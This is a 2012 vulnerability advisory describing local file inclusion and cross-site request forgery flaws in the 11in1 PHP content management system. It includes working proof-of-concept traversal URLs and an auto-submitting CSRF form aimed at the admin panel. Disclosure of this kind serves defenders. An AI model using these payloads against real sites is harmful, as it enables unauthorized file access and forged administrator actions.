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Multiple vulnerabilities in 11in1

Advisory ID:HTB23071
Product:11in1
Vendor:11in1
Vulnerable Versions:1.2.1 stable 12-31-2011 and probably prior
Tested Version:1.2.1 stable 12-31-2011
Advisory Publication:January 25, 2012 [without technical details]
Vendor Notification:January 25, 2012
Public Disclosure:February 15, 2012
Vulnerability Type:PHP File Inclusion [CWE-98]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2012-0996
CVE-2012-0997
Risk Level:High
CVSSv2 Base Scores:7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in 11in1, which can be exploited to perform Local File Inclusion and Сross-Site Request Forgery (CSRF) attacks.

1) Local File Inclusion in 11in1: CVE-2012-0996
Input passed via the "class" GET parameter to index.php and /admin/index.php is not properly verified before being used to include local files.
This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.
The following PoC (Proof of Concept) demostrate the vulnerability:
http://[host]/index.php?class=../../../tmp/file%00
http://[host]/admin/index.php?class=../../../tmp/file%00
Successful exploitation of the vulnerabilities requires that "magic_quotes_gpc" is off.

2) Сross-Site Request Forgery (CSRF) in 11in1: CVE-2012-0997
The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
The following PoC will create a new topic on behalf of website administrator:
<form action="http://[host]/admin/index.php?class=do&action=addTopic" method="post">
<input type="hidden" name="name" value="New Topic Name here">
<input type="hidden" name="sec" value="3">
<input type="hidden" name="content" value="New Topic Content here">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB23071 - https://www.immuniweb.com/advisory/HTB23071 - Multiple vulnerabilities in 11in1.
[2] 11in1 - http://www.11in1.org/ - Eleven In One is an open-source content management system (CMS) that is powered by PHP and MySQL.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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